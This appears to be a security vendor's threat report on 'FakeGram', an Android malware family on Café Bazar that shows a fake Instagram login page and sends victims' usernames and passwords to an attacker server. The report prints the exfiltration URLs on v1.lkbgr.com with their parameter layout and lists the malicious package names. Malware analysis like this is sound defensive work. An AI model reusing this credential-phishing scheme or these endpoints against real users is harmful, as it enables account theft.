Degree of destruction<\/strong>: average<\/p>\n Prevalence<\/strong>: average<\/p>\n Phishing is a social engineering technique in which an attacker will mislead users with it and will steal his\/her personal information such as user name, password, bank card number, internet password, and CVV2. Conventional and current methods of phishing involve using charming emails with infected links, social networks, and bank payment ports, and also using login pages of popular applications for stealing user\u2019s information of this set of applications. There are various methods for phishing attacks. One of these methods is that attackers design a page similar to popular functional applications such as (Instagram) and will replace it with the main page. So users enter their account information wrongfully but in principle, this critical information will be sent to a malware server for further abuse.<\/p>\n There are many examples of this Iranian malware family in Caf\u00e9 Bazar with different names which generally act as follows:<\/p>\n The main activity of applications as a login page is designed to be exactly similar to an Instagram original application so forces users to reveal details of logging in. victims after entering their account information (email address and password) immediately will send this information to the server, which is remotely controlled by the attacker. Eventually, users will encounter this message on the fake page as \u201cthe password is incorrect\u201d, when this level is accomplished.<\/p>\n It is noteworthy to mention that, when installing this application, the case that is seen as an explanation is that \u201cyour username and password are not accessible by us and you will be directly logged in to Instagram\u201d.<\/p>\n Although this application will steal the password of the user in addition to attaining access to it. Thus, after installing the application the login page of Instagram will be load as a web page (a web view which javascript will run in it), but by adding javascript to it, the user\u2019s password will be extracted and sent to the infected server (the following address)<\/p>\n As soon as setting up the application, first, it will be checked if the user is connected to the internet otherwise there will be a message shown to the user as \u201cyou are not connected yet\u201d so that the user connects to the internet. Thus malware can easily be connected with the infected server in the background.to load the first activity, a request will be sent to http:\/\/v1.lkbgr.com\/users\/start.php?api=19&user=%DA%A9%D8%A7%D8%B1%D8%A8%D8<\/a> path and this is the page that will open as the main activity for the user; the content of this page includes a button with the text \u201center by Instagram\u201d. In the following, AutherizationUser activity will be called and the packagename of the application and its version will be checked so it can show a proper message to the user.<\/p>\n The reason is that there are many similar applications such as Instagram follower taker, Instagram comment taker, a member in member, install star, etc. belonging to Andromeda Company, so to show a proper message and update the application, this initial checking must be done.<\/p>\n The activities shown to the user are a web view that the javascript will load in its background. The information that should be shown is sent to the user from http:\/\/v1.lkbgr.com\/<\/a> server. To users do not notice this issue, the malware author will hide the desired URL. After sending a request to the desired address, in response, the page that will be sent to the user is \u2018https:\/\/www.instagram.com\/accounts\/login\/?force_classic_login\u201d.<\/p>\n This page is the old login page of Instagram but has no code in its background. Normally (if the application is properly working) as soon as entering your account information, this information must be encrypted and sent to the Instagram server but the case that we view in this set of infected applications is sending information (account name, password, and critical information of user\u2019s phone) to malware server. Malware authors by tricking users and booting fake Instagram login pages will easily access users\u2019 information.<\/p>\n The Instagram user account information will be entered and by clicking on the login option, this information will be sent to http:\/\/v1.lkbgr.com\/users\/load.php?user_name=test_username&apk=103&tut=15777755559<\/a>. but in response to what is being sent to the user\u2019s phone from http:\/\/v1.lkbgr.com\/login\/req_redirect_2.php?un=username_test&ui=-1&apk=103 HTTP\/1.1<\/a> server to show, this message: \u201cusername or password is incorrect\u201d will be shown.<\/p>\n As you can see, the request involves a csrftoken which is the specification related to sending or receiving data that are coded. A part of this data is coded by using the base64 algorithm and some of the other data are written in code separately from the encrypting algorithm. Malware author converts the data to encrypted data to hide it and prevent it from clear view.<\/p>\n Other produced application of Andromeda Company which are existed in Iranian markets such as \u201cCaf\u00e9 Bazar\u201d is as follows:<\/p>\nWhat is Phishing?<\/h3>\n
What is the FakeGram malware family?<\/h3>\n
http:\/\/v1.lkbgr.com\/users\/load.php?user_name=test_username&apk=103&tut=15777755559<\/code><\/p>\nMain Instagram account)):user_name<\/code><\/p>\ntut: Password (main Instagram account)<\/code><\/p>\napk: internal version<\/code><\/p>\nTechnical Explanation<\/h2>\n
![\"\"](\"https:\/\/threats.amnpardaz.com\/en\/wp-content\/uploads\/sites\/5\/2020\/11\/55.png\")
<\/p>\n![\"\"](\"https:\/\/threats.amnpardaz.com\/en\/wp-content\/uploads\/sites\/5\/2020\/11\/POST_login.png\")
<\/p>\n![\"\"](\"https:\/\/threats.amnpardaz.com\/en\/wp-content\/uploads\/sites\/5\/2020\/11\/Send_token-1.png\")
<\/p>\nOther examples<\/h3>\n
\n\n
\n Name of the application<\/td>\n Package name<\/td>\n<\/tr>\n \n Adbin- (get view, site, and link)<\/td>\n ir.andromedaa.adbn<\/td>\n<\/tr>\n \n Instagram: get like<\/td>\n ir.andromedaa.likebegir<\/td>\n<\/tr>\n \n Instagram: get follower<\/td>\n ir.andromedaa.followerbegir<\/td>\n<\/tr>\n \n ID list<\/td>\n ir.andromedaa.idlist<\/td>\n<\/tr>\n \n Instagram: get comment<\/td>\n ir.ndrm.cmbegir<\/td>\n<\/tr>\n \n Member in member (ozv dar ozv)<\/td>\n com.andromedaa.ozvbazdidgir<\/td>\n<\/tr>\n \n Insta star<\/td>\n ir.andromedaa.instastar<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n How to deal with this and disinfect the system<\/h2>\n